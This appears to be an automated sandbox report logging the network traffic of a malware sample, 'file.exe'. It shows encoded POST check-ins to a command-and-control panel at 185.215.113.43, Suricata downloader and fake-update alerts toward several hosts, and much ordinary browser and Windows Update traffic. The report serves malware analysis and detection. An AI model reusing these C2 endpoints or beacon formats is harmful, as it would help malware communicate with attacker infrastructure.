Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 20.25.227.174 20.25.227.174

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49746 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49829 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49839 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49841 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49847 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49849 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49851 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49850 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49854 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49855 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49860 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49865 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49866 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49869 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49870 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49873 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49876 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49878 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49881 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49885 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49889 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49888 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49891 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49892 -> 188.114.96.3:443

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49716 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCDCC60 PR_Recv,

0_2_6CCDCC60

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7etvo8RcU7kD8zR&MD=o3Wk6usb HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1731932970278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=12002C73CB2660100B753948CA036107&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731932970277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=6d6da51eb454486787bbdab97894ab08&activityId=6d6da51eb454486787bbdab97894ab08&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=12002C73CB2660100B753948CA036107&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9b3d30cdac2b4c39df0645a5a1f8c26d HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCD.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
